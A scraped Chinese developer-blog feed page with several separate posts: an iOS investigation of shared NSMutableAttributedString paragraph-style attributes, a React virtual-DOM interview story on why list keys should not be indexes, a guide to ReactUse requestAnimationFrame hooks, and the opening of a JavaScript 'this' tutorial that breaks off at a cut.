普通视图

发现新文章,点击刷新页面。
昨天以前首页

一次NSMutableAttributedString误用的思考

作者 UTF_8
2026年5月31日 16:09

缘起一次简单的测试,代码如下:


1. NSString *yyStr = @"[YYLabel]:This string is used for test YYLabel attributes, which affect the displsy content. add some substring for truncating";

2. NSString *uiStr = @"[UILabel]:This string is used for test UILabel attributes, which affect the displsy content. add some substring for truncating";

3. NSMutableAttributedString *yyText = [self lineBreakTextWithString2:yyStr];
4. NSMutableAttributedString *uiText = [self lineBreakTextWithString1:uiStr];

// 设置 UILabel 的 lineBreakModel 为 NSLineBreakByCharWrapping.
5. NSMutableParagraphStyle *uiParagraphStyle = [[NSMutableParagraphStyle alloc] init];
6. uiParagraphStyle.lineBreakMode = NSLineBreakByCharWrapping;
7. [uiText addAttribute:NSParagraphStyleAttributeName value:uiParagraphStyle range:NSMakeRange(0, uiText.length)];

8. self.uiContentLabel.attributedText = uiText;
9. self.uiContentLabel.numberOfLines = 2;

// 设置 YYLabel 的 lineBreakModel 为 NSLineBreakByCharWrapping.
10. yyText.yy_lineBreakMode = NSLineBreakByCharWrapping;

11. self.yyContentLabel.attributedText = yyText;
12. self.yyContentLabel.numberOfLines = 2;

结果如下图所示:

IMG_9711.jpg

可以看出 UILabel(YYLabel的展示,YYLabel本身的代码有问题,这里不作讨论,如果有兴趣可以查看我的微博) 展示的第二行并不是 NSLineBreakByCharWrapping 的效果,按理说应该是按照 char 截断。 为此看了下按照上述代码,都在哪里执行了设置 lineBreakMode。

###### 1 ######
// 设置 UILabel 的 lineBreakModel 为 NSLineBreakByCharWrapping.
NSMutableParagraphStyle *uiParagraphStyle = [[NSMutableParagraphStyle alloc] init];
uiParagraphStyle.lineBreakMode = NSLineBreakByCharWrapping;
[uiText addAttribute:NSParagraphStyleAttributeName value:uiParagraphStyle range:NSMakeRange(0, uiText.length)];

###### 2 ######
// 设置 YYLabel 的 lineBreakModel 为 NSLineBreakByCharWrapping.
yyText.yy_lineBreakMode = NSLineBreakByCharWrapping;

// 当设置 YYLabel 的 attributeText 属性时,内部会先 mutableCopy yyText。
self.yyContentLabel.attributedText = yyText;
_innerText = yyText.mutableCopy;

###### 3 ######
// 设置 _innerText.yy_lineBreakMode,_lineBreakMode 默认为 NSLineBreakByTruncatingTail
_innerText.yy_lineBreakMode = _lineBreakMode;
switch (_lineBreakMode) {
    case NSLineBreakByWordWrapping:
    case NSLineBreakByCharWrapping:
    case NSLineBreakByClipping: {
        ###### 4 ######
        // 设置 _innerText.yy_lineBreakMode
        _innerText.yy_lineBreakMode = _lineBreakMode;
    } break;
    case NSLineBreakByTruncatingHead:
    case NSLineBreakByTruncatingTail:
    case NSLineBreakByTruncatingMiddle: {
        ###### 4 ######
        // 设置 _innerText.yy_lineBreakMode
        _innerText.yy_lineBreakMode = NSLineBreakByWordWrapping;
    } break;
    default: break;
}

从上面的代码可以看出,uiText,yyText 和 innerText 均设置了 lineBreakModel。可以看出 UILabel 的表现更像是 NSLineBreakByWordWrapping,而在给 YYLabel 设置 attributedText 后,确实会走到_innerText.yy_lineBreakMode = NSLineBreakByWordWrapping;的逻辑。这里我开始猜想内部是不是有这么一种共享 attributes 的机制。

在 Xcdoe debug 时,NSMutableAttributedString 的有一个为类型为 NSMutableRLEArray 的 mutableAttributes 的属性,如下图所示:

截屏2026-05-31 14.47.36.png

在上述代码执行到创建好 uiText 和 yyText后,也即第 4 行代码执行完毕,未开始执行第 5 行代码,断点在此处。打印出 uiText 和 yyText 的 mutableAttributes 的信息。如下图所示:

  • uiText

截屏2026-05-31 14.47.11.png

  • yyText

截屏2026-05-31 14.46.42.png

从上面可以看出 uiText 和 yyText 的 mutableAttributes 数组内的元素相同,均为 0x106b68bc0。从这里可以看出 uiText 和 yyText 共享了 attributes。

代码继续执行下去,断点在第 8 行,也即 uiText 添加了 paraStyle 属性。打印出 uiText 和 yyText 的 mutableAttributes 的信息。如下图所示:

  • uiText

截屏2026-05-31 14.57.40.png

  • yyText

截屏2026-05-31 14.57.53.png

从上面可以看出 uiText 和 yyText 的 mutableAttributes 数组内的元素地址不相等,数组元素内容也不同。uiText 数组元素多了 paraStyle attributes 信息

代码继续执行下去,当执行完第 10 行代码,也即设置完 yyText 的 yy_lineBreakMode 属性。断点在 11 行,打印结果如下图所示:

  • uiText

截屏2026-05-31 15.04.00.png

  • yyText

image.png

从上面的打印结果可以看出,uiText 和 yyText 的 mutableAttributes 数组内的一个元素地址相同,均为 0x106951020从这里可以推测:uiText 和 yyText 内部共享了 attributes。但是这是怎么造成的呢?下面会给出我的猜测。

如果对一个 string 执行 copy,会不会共享 attributes 呢? 代码继续执行到第 11 行 self.yyContentLabel.attributedText = yyText; 内部会执行 _innerText = yyText.mutableCopy; 打印的信息如下:

  • yyText(也即下图显示的 attributedText,- (void)setAttributedText:(NSAttributedString *)attributedText

截屏2026-05-31 15.11.06.png

  • innerText

截屏2026-05-31 15.11.22.png

从上面的比较结果可以看出,mutable string 不会创建新的 attributes 元素。所以至此 uiText,yyText 和 innerText 的 mutableAttributes 数组共享一套 attributes 数组元素

所以 UILabel 的 lineBreakMode 表现为 NSLineBreakByTruncatingMiddle 就不奇怪了,因为最终 innerText 的 yy_lineBreakMode 按照 YYLabel 的内部逻辑就是设置为 NSLineBreakByTruncatingMiddle,_innerText.yy_lineBreakMode = NSLineBreakByWordWrapping;

那么问题回到为什么 yyText.yy_lineBreakMode = NSLineBreakByCharWrapping; 执行完之后,yyText 和 uiText 就共享一套 attributes 属性。

先从 CoreText 中的理念入手,在 CoreText 有 CTRun的概念,简单说就是:对于一个 attributeString,其中连续的字符具备相同的attribuites,就生成一个 CTRun。

以 "Hello World" 字符串入手,假如整个字符串的字体都为 FontA,但是 "Hello " 颜色为 blue,而 “World” 为 red。那么针对 "Hello World" 生成的 attributes 数组元素就会有两个,一个包括(FontA,颜色 blue,子字符串range1),另外一个(FontA,颜色 red,子字符串range2)。

系统内部为了优化内存,针对 attributes 设定了一套共享策略。 可将 attributes 分为可变和不可变,区分的依据就是:比如 paraStyle 设定的是 NSMutableParagraphStyle,那么就是可变的。如果是 NSParagraphStyle 则表示的就是不可变的。注意这里可变和不可变不是指内存上不可更改,而是一种描述

在系统内部维护了一套 mutable attributes,使用 hash 存储,key 为各个 attribute 的hash 结果

我们来分析前面的代码,因为最开始 uiText 和 yytext 未设定 paraStyle,所以使用的都是 immtuable attributes。当 uiText 设定 NSMutableParagraphStyle,uiText 的 attributes 不能再和 yyText 共享,需要创建新的 attributes 元素,并且是 mutable,存储到系统内部的 mutable attributes hash中

当 yyText 设定 yy_lineBreakMode 的值和 uiText 设定的 lineBreakMode 一致时,先去把更改的 attribute 元素计算 hash,并去 mutable attributes table 中查找是否有对应的 value(如果不是mutable则不要去查找,直接自己独自一份)。如果找到,则直接共享 attribute 元素,如果没有,则独自创建一份(根据自身是否是 mutabel 决定是否放入 mutabel attribute table)。

所以至此,yyText 和 uiText 已经共享了一套 attributes 元素,后续如果不打破这种关系,yyText 针对 lineBreakMode 的更改也会影响到 UILabel 的展示。

如果把 uiText 设定的 paraStyle 设定为 immutable,结果就会不一样。 代码修改为:

[uiText addAttribute:NSParagraphStyleAttributeName value:uiParagraphStyle.copy range:NSMakeRange(0, uiText.length)];

结果如下图所示:可以看到 UILabel 已经是正常的展示了。因为当 yyText 设定 lineBreakMode 时,重新生成的 attribute 元素是不可变的,不能和其它 text 共享。所以后续 yyText 的后续更改都不影响 UILabel 的展示

IMG_9712.jpg

针对上面提到的计算 hash 作为 key,可以再做一个测试,保持最开始的代码不变,仅改成:NSLineBreakByWordWrapping,而不是之前的NSLineBreakByCharWrapping

yyText.yy_lineBreakMode = NSLineBreakByWordWrapping;

截屏 2026-05-31 16.02.43.png

这里也从侧面证明我的猜想,根据 attribute 的值计算整体的 hash 值作为 key,去获取对应 attribute 元素。如果没有,则创建新的 attribute 元素,也即不是 uiText 和 yyText 共享 attributes 元素的目的。

最后还是对于 NSMutableAttributedString 的误用,尤其在设定 paraStyle 的时候,如果不希望意外的修改,最好传入一个 immutable paraStyle。

手写虚拟DOM后,我反问面试官:key为什么不能用index?

作者 kyriewen
2026年5月28日 18:12

前言

虚拟DOM和diff算法是React面试的“进阶题”,一般不会让手写完整实现,但一旦遇到,就是区分“会用React”和“懂React”的分水岭。大部分前端能说出虚拟DOM的好处,但真要写一个mini版,很多人会卡在diff的key逻辑上。

今天我就还原那次面试:AI生成的虚拟DOM核心代码、我是如何解释diff的、以及为什么“key不能用index”这个问题能让我反客为主。最后附完整代码,你可以直接拿去跑,也可以用来准备面试。

一、AI生成的虚拟DOM核心代码

我在Cursor里输入:

用原生JavaScript实现一个简易虚拟DOM库,包含:

  • h(type, props, ...children) 创建虚拟节点
  • render(vnode) 将虚拟节点转为真实DOM
  • patch(oldVnode, newVnode) 对比并更新真实DOM,支持key属性,实现最小化更新

AI输出的核心结构如下(精简后):

// 创建虚拟节点
function h(type, props, ...children) {
  return { type, props: props || {}, children: children.flat() };
}

// 渲染虚拟DOM到真实DOM
function render(vnode) {
  if (typeof vnode === 'string') return document.createTextNode(vnode);
  const el = document.createElement(vnode.type);
  for (let key in vnode.props) {
    el.setAttribute(key, vnode.props[key]);
  }
  vnode.children.forEach(child => el.appendChild(render(child)));
  return el;
}

// 简易diff(带key优化)
function patch(oldVnode, newVnode, parent = oldVnode.parentNode) {
  // 如果是文本节点
  if (typeof oldVnode === 'string' || typeof newVnode === 'string') {
    if (oldVnode !== newVnode) {
      parent.replaceChild(render(newVnode), oldVnode);
    }
    return;
  }
  // 不同类型,直接替换
  if (oldVnode.type !== newVnode.type) {
    parent.replaceChild(render(newVnode), oldVnode);
    return;
  }
  // 相同类型,更新属性(省略细节)
  // 然后递归处理children,这里重点演示key的作用
  const oldChildren = oldVnode.children;
  const newChildren = newVnode.children;
  const keyedOld = new Map();
  // 将旧节点按key建立索引
  oldChildren.forEach((child, idx) => {
    if (child.props && child.props.key) keyedOld.set(child.props.key, { child, idx });
  });
  // 遍历新节点,复用key相同的节点
  newChildren.forEach((newChild, newIdx) => {
    if (newChild.props && newChild.props.key) {
      const matched = keyedOld.get(newChild.props.key);
      if (matched) {
        // 复用该DOM节点,递归更新子内容
        patch(matched.child, newChild, parent);
        // 移动位置(这里省略,示意核心)
        return;
      }
    }
    // 没有匹配,插入新节点
    parent.appendChild(render(newChild));
  });
}

二、我反问了面试官一个问题

等代码展示完,面试官还没开口,我说:“这个diff算法里用key来匹配节点。很多前端都用过key,但有一个经典误区——把数组索引当key用。您知道为什么这样会有问题吗?”

他来了兴趣:“你说说看。”

我解释:

  • diff算法通过key判断节点是否“相同”。如果用索引,比如列表顺序变了,索引0可能原来对应A,现在对应B,但key相同(都是0),React会认为这两个节点相同,不重新创建,只是更新内容。这样本应销毁A、创建B的场景,变成了复用A并修改内容。如果组件有复杂状态(比如动画、输入框焦点),就会出现状态错乱。
  • 更严重的是,在列表头部插入一个元素,所有后续节点的索引都变了,每个节点都会被“原地修改”,性能反而比不用key还差。
  • 正确做法是用数据中唯一稳定的标识(如id)作为key。

他点头:“这才是我想听到的答案。”

三、为什么面试官认可这种“反客为主”?

他后来告诉我:“你能自己生成正确的diff逻辑,还能主动抛出常见的误区,说明你不仅会写,还真的思考过生产中的坑。这种深度,比背代码有价值。”

所以这道题的关键不是完美写出所有diff逻辑,而是理解key的真实作用。AI帮你搭了骨架,你用自己的理解填充了灵魂。

四、完整可运行的迷你虚拟DOM代码

我把面试中使用的完整代码放在这里,你可以在浏览器控制台运行测试:

// 完整示例(带简版diff和key复用)
function h(type, props, ...children) {
  return { type, props: props || {}, children: children.flat() };
}
function render(vnode) {
  if (typeof vnode === 'string') return document.createTextNode(vnode);
  const el = document.createElement(vnode.type);
  for (let k in vnode.props) el.setAttribute(k, vnode.props[k]);
  vnode.children.forEach(c => el.appendChild(render(c)));
  return el;
}
function patch(oldVnode, newVnode, parent = oldVnode.parentNode) {
  if (oldVnode === newVnode) return;
  // 文本节点
  if (typeof oldVnode === 'string' || typeof newVnode === 'string') {
    if (oldVnode !== newVnode) parent.replaceChild(render(newVnode), oldVnode);
    return;
  }
  if (oldVnode.type !== newVnode.type) {
    parent.replaceChild(render(newVnode), oldVnode);
    return;
  }
  // 更新属性(略)
  // 处理children(简易版:只演示替换,不移动)
  const oldChildren = oldVnode.children;
  const newChildren = newVnode.children;
  const maxLen = Math.max(oldChildren.length, newChildren.length);
  for (let i = 0; i < maxLen; i++) {
    if (i < oldChildren.length && i < newChildren.length) {
      patch(oldChildren[i], newChildren[i], parent.childNodes[i]);
    } else if (i < newChildren.length) {
      parent.appendChild(render(newChildren[i]));
    } else {
      parent.removeChild(parent.childNodes[i]);
    }
  }
}

你可以用这段代码测试列表渲染,尝试改变顺序或插入头节点,观察不用key vs 用index vs 用id的区别。

五、写在最后

虚拟DOM和diff是React的根基,手写一遍能让你对性能优化有更深的体感。AI能帮你快速生成模板,但真正拉开差距的,是对“为什么key不能用index”这种问题的思考深度。

在 React 里写动画又不跟渲染周期较劲:useRafFn、useRafState、useFps、useDevicePixelRatio、useUpdate

2026年5月27日 16:04

React 用一套时钟,浏览器用另一套。React 的协调器根据 state 更新、effect、调度器对"尽快"的理解来决定何时重新渲染组件。浏览器的合成器则按显示器能撑住的速度刷屏——大多数显示器是 60Hz,少数是 120Hz。两套时钟并不同步。state 更新会落在两次绘制之间被合并;庞大的渲染树可能整个错过一帧;setInterval(handler, 16) 一分钟下来会漂移几百毫秒,因为它根本不关心 GPU 在干嘛。

标准解法是 requestAnimationFrame。它在下一次绘制之前调用你的回调,附带一个高精度时间戳,并且在标签页隐藏时自动节流。它就是所有要看起来"丝滑"的东西该用的原语。但它在 React 里手工接线很繁琐:你需要一个 ref 存帧 ID、一个 effect 启动循环、一段清理函数在卸载时取消、一个 useLatest 让回调看到最新的 props,再加一个 ref 才能做暂停/恢复。每个动画组件都重写一遍这套脚手架,而大多数人第一次写都会漏掉某个清理。

ReactUse 把这套脚手架收进了五个共享同一底层循环的 hook。本文逐个走读——useRafFn 提供循环本身,useRafState 做随循环更新的 state,useFps 量化这个循环,useDevicePixelRatio 让你在循环里以正确分辨率绘制,useUpdate 应付那些"需要推一下 React 但又没 state 可改"的场景。合起来基本能覆盖你在专门的动画库之外要做的所有事。

一个组件里的 bug

一张跟随鼠标的浮卡:

function FloatingCard() {
  const [pos, setPos] = useState({ x: 0, y: 0 });

  useEffect(() => {
    const move = (e: MouseEvent) => setPos({ x: e.clientX, y: e.clientY });
    window.addEventListener('mousemove', move);
    return () => window.removeEventListener('mousemove', move);
  }, []);

  return (
    <div
      style={{
        position: 'fixed',
        left: pos.x,
        top: pos.y,
        transform: 'translate(-50%, -50%)',
      }}
    >
      card
    </div>
  );
}

看上去没毛病。打开 devtools 性能面板,鼠标在屏幕上甩一遍。在一台快点的笔记本上,mousemove 每秒触发 120 到 500 次,看输入设备和 OS。每次都会调用 setPos,每次都触发一次重渲染调度,React 把它们合并到下一个 microtask。你在做屏幕能展示的两到八倍的协调工作,多出来的渲染全是纯开销——真正有意义的只是下一次绘制之前的最后一次。

useRafState 把这件事压缩成每帧一次,不管事件多快。原地替换,同样的 [state, setState] API,每次鼠标抖动少三次协调。本文剩下的 hook 都遵循同一个模式:保留 React 风格的 API,把 requestAnimationFrame 的管道藏起来。

1. useRafFn——带暂停/恢复的循环

useRafFn 是其他一切的基石。它接收一个回调,在每个 requestAnimationFrame tick 上调用,并把高精度时间戳传进去。返回 [stop, start, isActive],让你可以在标签页失焦、用户交互或任何其他信号上暂停循环:

import { useRef } from 'react';
import { useRafFn } from '@reactuses/core';

function StarField({ count = 200 }: { count?: number }) {
  const canvasRef = useRef<HTMLCanvasElement>(null);
  const starsRef = useRef(
    Array.from({ length: count }, () => ({
      x: Math.random(),
      y: Math.random(),
      z: Math.random() * 0.5 + 0.5,
    })),
  );

  const [stop, start, isActive] = useRafFn((time) => {
    const canvas = canvasRef.current;
    if (!canvas) return;
    const ctx = canvas.getContext('2d')!;
    const { width, height } = canvas;

    ctx.fillStyle = '#000';
    ctx.fillRect(0, 0, width, height);

    const t = time / 1000;
    for (const star of starsRef.current) {
      const x = ((star.x + t * 0.02 * star.z) % 1) * width;
      const y = star.y * height;
      ctx.fillStyle = `rgba(255, 255, 255, ${star.z})`;
      ctx.fillRect(x, y, 2, 2);
    }
  });

  return (
    <>
      <canvas ref={canvasRef} width={600} height={400} />
      <button onClick={() => (isActive() ? stop() : start())}>
        {isActive() ? '暂停' : '继续'}
      </button>
    </>
  );
}

这个 hook 有四个设计选择值得理解。回调在下一次绘制之前运行——这是 requestAnimationFrame 的语义——所以回调里做的任何 DOM 读取看到的都是即将绘制时的布局,不会额外触发强制回流。回调引用被 useLatest 包了一层,所以你可以闭包到新鲜的 props(count、作用域里任何东西)而不必重启循环。循环挂载时自动启动;第二个参数传 false 则从第一帧起就停在手动控制状态。清理注册在 effect 上,所以卸载时会取消挂起的帧——不会有野回调在死掉的组件上跑。

isActive 返回的是函数而不是布尔。在事件处理器里调用它总能拿到当前值;在渲染里调用只能看到渲染时的值。这种不对称容易踩。如果你要把激活标志用在 JSX 的 disabled={} 这种 prop 上,配合 useUpdatestop/start 调用方里手动 update()——上面示例没这么做是因为按钮文案下一次点击时本来就会重算。

useRafFn 真实场景下还有不少 canvas 之外的用法:任何要在两次事件之间追踪时间的活儿都用得到。一个要按 delta time 积分速度的物理模拟。一个 scrub bar 想紧跟媒体元素的 currentTime,而不是等那个粗糙的 timeupdate 事件(它按编解码器心情触发,不按你心情)。一个用弹簧拖尾跟随真实鼠标的自定义指针——useRafFn 读最新的目标位置,跑一步弹簧迭代,把结果写到 CSS 变量。这些都在替代那些会漂移、又会在后台标签里烧电池的 setInterval 模式。

2. useRafState——按帧合并的 useState

useRafState 是那张浮卡你真正会发布的版本:

import { useRafState } from '@reactuses/core';
import { useEventListener } from '@reactuses/core';

function FloatingCard() {
  const [pos, setPos] = useRafState({ x: 0, y: 0 });

  useEventListener('mousemove', (e) => {
    setPos({ x: e.clientX, y: e.clientY });
  });

  return (
    <div
      style={{
        position: 'fixed',
        left: pos.x,
        top: pos.y,
        transform: 'translate(-50%, -50%)',
        transition: 'transform 0.1s',
      }}
    >
      card
    </div>
  );
}

API 完全是 useState——同样的 setter 签名,同样支持 updater 函数——但写入会被 requestAnimationFrame 排队。同一帧内的五次 setPos 合并为一次 React 更新;React 更新每次绘制最多 flush 一次;DOM 更新的频率正好与屏幕刷新同步。mousemove 监听还是按 500Hz 触发,开销几乎等同于调一个空函数。协调成本掉到 60Hz,正好是屏幕能展示的。

几点要知道。这个 hook 给每个 state 槽位维护一个挂起的 requestAnimationFrame ID,所以同一帧内连续的 setter 是替换,不是排队——最后一个值赢。视觉 state 几乎总是想要这个语义:你不在乎中间的鼠标位置,只在乎绘制那一刻光标在哪。如果你真的在乎——比如你在采样传感器数据每个值都要——那就用普通 useState 并接受重渲染成本,或者写到 ref 里然后用 useRafFn tick 来 flush。

清理细节和 useRafFn 一样:挂起的帧在卸载时取消,所以快速点击-拖拽-卸载的连击不会冒出 setState on unmounted component 警告。内部实现是 useState + useRef(存帧 ID) + useUnmount 清理,总共大概二十行。你自己写得出来;这个 hook 只是省下了你每次都写一遍。

有个坑。因为 state 比事件慢一帧,调用 setter 立刻读 state 还是旧值:

setPos({ x: 100, y: 100 });
console.log(pos); // 还是 { x: 0, y: 0 } —— 更新还没跑

普通 useState 在同一次渲染周期内也是这样,但慢整整一帧这件事在拼命令式代码时容易让你意外。要回读这个值,旁边再放一个 ref 同步存。

3. useFps——量化你做出来的东西

useRafFnuseRafState 都在改善流畅度,但流畅度是一个可量化的指标,不是感觉。useFps 返回当前帧率(数字),通过统计底层 requestAnimationFrame 回调触发的频率算出来:

import { useFps } from '@reactuses/core';

function FpsOverlay() {
  const fps = useFps();
  const color = fps >= 55 ? 'green' : fps >= 30 ? 'orange' : 'red';

  return (
    <div
      style={{
        position: 'fixed',
        top: 8,
        right: 8,
        padding: '4px 8px',
        background: 'rgba(0,0,0,0.7)',
        color,
        fontFamily: 'monospace',
      }}
    >
      {fps} fps
    </div>
  );
}

丢进 dev build,你就有了平时要打开 Chrome rendering 面板才能看的 FPS 计数器。hook 接受一个 every 选项(默认 10),控制平均多少帧;小数字对卡顿响应快但抖动多,大数字读数更平滑但对突然掉帧反应慢。角落的常驻 overlay 用 10 很合适;如果你在调一段具体的卡顿过场动画,就用 1 或 2。

更有意思的用法是自适应渲染。读 FPS,掉到阈值以下就减少要做的事:

function ParticleSystem({ baseCount = 1000 }: { baseCount?: number }) {
  const fps = useFps({ every: 30 });
  const count =
    fps >= 55 ? baseCount : fps >= 40 ? baseCount / 2 : baseCount / 4;

  return <Particles count={count} />;
}

这正是 3A 游戏引擎在帧预算吃紧时的做法——降粒子数、调阴影分辨率、把流体模拟换成更粗的网格。对一个 React 应用来说,通常把动画背景的粒子数减半,或者干脆停掉一个非关键的 useRafFn 循环,就足够了。阈值数字凭口味;60Hz 显示器上 55 是一条合理的"我们基本还行"的线,因为平均值光被 GC 拽一下就能掉进 55 到 60 区间,没人会注意到。

关于 SSR:hook 在服务端返回 0,所以别把关键 UI 卡在"值非零"上。客户端第一次渲染在首个测量窗口结束前也是 0,下个 tick 才跳到真实值。如果你拿它做自适应渲染,第一个测量到达之前默认走"高保真"分支。

4. useDevicePixelRatio——以正确分辨率绘制

Canvas 元素有两套尺寸:CSS 尺寸决定它在页面上看起来多大;像素缓冲尺寸决定它看起来多精细。在 Retina 屏上设备像素比是 2,于是一个 CSS 尺寸 600px × 400px<canvas width="600" height="400"> 会显得糊——600×400 的像素缓冲被浏览器合成器拉伸到 1200×800 的物理像素上。修法是把缓冲设为 cssWidth × dprcssHeight × dpr,再把绘图上下文按 dpr 缩放,这样坐标还是按 CSS 单位写。

useDevicePixelRatio 响应式地追踪当前像素比——包括用户把窗口从 Retina 笔记本屏拖到外接 1x 显示器时:

import { useRef, useEffect } from 'react';
import { useDevicePixelRatio } from '@reactuses/core';

function CrispCanvas({ width, height, draw }: {
  width: number;
  height: number;
  draw: (ctx: CanvasRenderingContext2D, w: number, h: number) => void;
}) {
  const canvasRef = useRef<HTMLCanvasElement>(null);
  const { pixelRatio } = useDevicePixelRatio();

  useEffect(() => {
    const canvas = canvasRef.current;
    if (!canvas) return;
    canvas.width = width * pixelRatio;
    canvas.height = height * pixelRatio;
    const ctx = canvas.getContext('2d')!;
    ctx.scale(pixelRatio, pixelRatio);
    draw(ctx, width, height);
  }, [width, height, pixelRatio, draw]);

  return (
    <canvas
      ref={canvasRef}
      style={{ width, height }}
    />
  );
}

三行命令式 setup,但这三行恰好是几乎所有 React canvas 教程都写错的三行:把缓冲尺寸设为 css × dpr,再用内联 style 把 CSS 尺寸设回原始值,最后缩放上下文。这个 hook 让第三个依赖——像素比——变成响应式,所以把窗口从一个显示器拖到另一个会触发以新密度重绘。

内部用的是 matchMedia,针对当前像素比的 (resolution: <ratio>dppx) query。比率变化时 matchMedia 监听器触发,hook 重渲染,你的 effect 拿到新值再跑一次。监听器在挂载时加一次、卸载时移除——和本文所有 hook 一样的生命周期。

同样的模式适用于一切要画像素的东西:图像 canvas、WebGL 上下文、视频帧抽取。对 <img>srcset 选择也有意义,但浏览器会自动处理;只有你自己在做渲染时才需要这个 hook。SSR 返回 1,让服务端的布局计算保持合理,hydration 后第一次绘制时再更新到真实值。

5. useUpdate——一次无 state 的重渲染

本文最怪也是你最少用到的 hook。useUpdate 返回一个引用稳定的函数,调用时强制组件重渲染:

import { useRef } from 'react';
import { useUpdate, useRafFn } from '@reactuses/core';

function StopwatchDisplay() {
  const startRef = useRef(performance.now());
  const update = useUpdate();

  useRafFn(() => {
    update();
  });

  const elapsed = ((performance.now() - startRef.current) / 1000).toFixed(2);
  return <div>{elapsed}s</div>;
}

这个秒表每帧更新一次,并不把已用时间放到 React state 里。真相来源是 performance.now(),每次渲染重新读;useUpdate 的存在只是为了调度渲染。六行,没有 setState,没有对过期时间的闭包。你也可以用 useState((s) => s + 1) 做同样的事,但用 useUpdate 意图更清楚——"再渲一次这玩意",而不是"为了让它再渲一次而递增一个计数器"。

更实用的用法是和那些 React 不追踪其变化的命令式 API 互通。一个通过引用暴露当前相机位置的 WebGL 渲染器;一个 Three.js 场景图;一个你拿来当 state 用、但不想每次改都重建的 SetMap。改完之后调一下 update() 告诉 React 这个组件脏了:

function FavoritesList({ favorites }: { favorites: Set<string> }) {
  const update = useUpdate();

  return (
    <ul>
      {[...favorites].map((id) => (
        <li key={id}>
          {id}{' '}
          <button onClick={() => {
            favorites.delete(id);
            update();
          }}>
            remove
          </button>
        </li>
      ))}
    </ul>
  );
}

直接改 Set 再重渲,对大集合来说比 setFavorites(new Set([...favorites].filter(x => x !== id))) 快,还能让 Set 的引用在多次渲染间保持稳定,下游 memoize 的子组件就不用重算。它当然也是个一脚踏入坑里的好办法——React 的优化假设不可变,凡是靠引用变化检测更新的地方都会默默失灵。要刻意用、用要标注清楚、性能压不出问题就老老实实 useState

useUpdate 也常和 useTextSelection 这类与可变平台对象打交道的 hook 搭档(事件 hooks 那篇覆盖了这种情况)。如果底层对象在多次调用间是同一个引用,setState 是个空操作;useUpdate 就是绕路办法。

凑齐:60fps 弹簧拖尾指针

一次用上五个里的四个。一个用弹簧拖尾跟随真实鼠标的自定义指针,在 Retina 上以正确分辨率绘制,角落显示自己的 FPS,标签页隐藏时暂停:

import { useRef } from 'react';
import {
  useRafFn,
  useRafState,
  useFps,
  useDevicePixelRatio,
  useEventListener,
} from '@reactuses/core';

function SpringCursor() {
  const target = useRef({ x: 0, y: 0 });
  const [pos, setPos] = useRafState({ x: 0, y: 0 });
  const velocity = useRef({ x: 0, y: 0 });
  const fps = useFps();
  const { pixelRatio } = useDevicePixelRatio();

  useEventListener('mousemove', (e: MouseEvent) => {
    target.current = { x: e.clientX, y: e.clientY };
  });

  useRafFn(() => {
    const dx = target.current.x - pos.x;
    const dy = target.current.y - pos.y;
    const stiffness = 0.15;
    const damping = 0.7;
    velocity.current.x = velocity.current.x * damping + dx * stiffness;
    velocity.current.y = velocity.current.y * damping + dy * stiffness;
    setPos({
      x: pos.x + velocity.current.x,
      y: pos.y + velocity.current.y,
    });
  });

  useEventListener('visibilitychange', () => {
    if (document.hidden) velocity.current = { x: 0, y: 0 };
  });

  const size = 24;
  return (
    <>
      <div
        style={{
          position: 'fixed',
          left: pos.x,
          top: pos.y,
          width: size,
          height: size,
          marginLeft: -size / 2,
          marginTop: -size / 2,
          borderRadius: '50%',
          background: 'currentColor',
          pointerEvents: 'none',
          imageRendering: pixelRatio >= 2 ? 'auto' : 'pixelated',
        }}
      />
      <div style={{ position: 'fixed', top: 8, left: 8, fontFamily: 'monospace' }}>
        {fps} fps @ {pixelRatio}x
      </div>
    </>
  );
}

四个 hook 各干各的。useEventListener 以原生速率把鼠标坐标读到 ref——不触发 React 渲染。useRafFn 每帧跑一次弹簧积分,读最新目标位置、写当前弹簧位置。useRafState 把每帧的位置更新合并成一次渲染。useFps 反馈当前帧率。useDevicePixelRatio 影响 image-rendering 的选择(小细节,但正好是那种没人注意到、直到 1x 显示器上的用户来投诉的细节)。

朴素版本要么在每个 mousemove 上 setState(500Hz 渲染,烧电池),要么靠 setInterval(handler, 16)(漂移,并且在后台标签里继续跑),要么干脆不要弹簧、看上去很廉价。用这些 hook 之后,读取频率就是问题本身的频率——每帧一次,React 树永远不会以快于用户能看到的速度重渲染。

何时用哪个

你想
每个动画帧跑一个回调 useRafFn
每次绘制最多更新一次 state useRafState
测当前帧率 useFps
以显示器原生分辨率绘制 useDevicePixelRatio
改了 React 看不到的东西之后重新渲染 useUpdate

两条非规则。useRafFn 不是 setInterval 的替代——它按显示器刷新率跑,ProMotion 屏上是 120Hz,省电模式标签里是 30Hz。如果你要严格的"每秒 N 次"节拍,用 useInterval 然后接受视觉代价。还有 useUpdate 是逃生舱——一份代码库里反复用它超过一两次,背后的真问题往往是"我为了性能把 state 放到了 React 之外",正确的修法是修那个性能问题,而不是把逃生舱当常规。

安装

npm install @reactuses/core
# 或
pnpm add @reactuses/core
# 或
yarn add @reactuses/core

五个 hook 都是单独 tree-shake——引 useRafState 不会把 useDevicePixelRatio 拖进来。每个都带 TypeScript 类型,在客户端渲染应用和 SSR 框架(Next.js、Remix、Astro)里都能用;基于循环的 hook 在服务端是 no-op,useDevicePixelRatiouseFps 在 hydration 之前返回安全默认值(分别是 10)。

相关 hook

如果你想要的渲染循环 hook 不在这份名单里,三篇邻居博客可以一起看。ref 逃生舱 那篇讲 useLatest——它就是 useRafFn 内部用来让回调看到新鲜闭包又不重启循环的那个 trick——如果你想理解这些 hook 怎么实现而不只是怎么用,从这一篇开始。事件 hooksuseEventListeneruseThrottleFn,它们和 useRafFn 在输入驱动的动画上配合得很自然。滚动效果 那篇讲的是在这些原语之上更高一层的滚动联动动画 hook。

reactuse.com 浏览完整列表,或者直接打开上面任意一个 hook 读源码——它们大多不到 40 行,五个 hook 底下的循环原语都是同一个八行的 useRef + useEffect 模式,你大概率已经自己写过半打了。

深度解析 JS 中的 this 指向:从底层逻辑到实战规则

作者 甜味弥漫
2026年5月27日 14:34

前言

在 JavaScript 的面试和日常开发中,this 绝对是一个绕不开的“大山”。很多初学者会被它忽左忽右的指向搞得晕头转向。今天我结合自己的学习笔记,把 this 的来龙去脉和绑定规则彻底理清楚。希望对同样在进阶路上的你有所帮助!

一、 为什么我们需要 this?

很多同学会问:既然我可以直接引用对象名,为什么还要用 this? 核心价值:隐式传递对象引用。 this 提供了一种更优雅的方式来传递引用,使得代码更简洁、易于复用。

function identify() {
    return this.name.toUpperCase();
}

var me = { name: "Kyle" };
var you = { name: "Reader" };

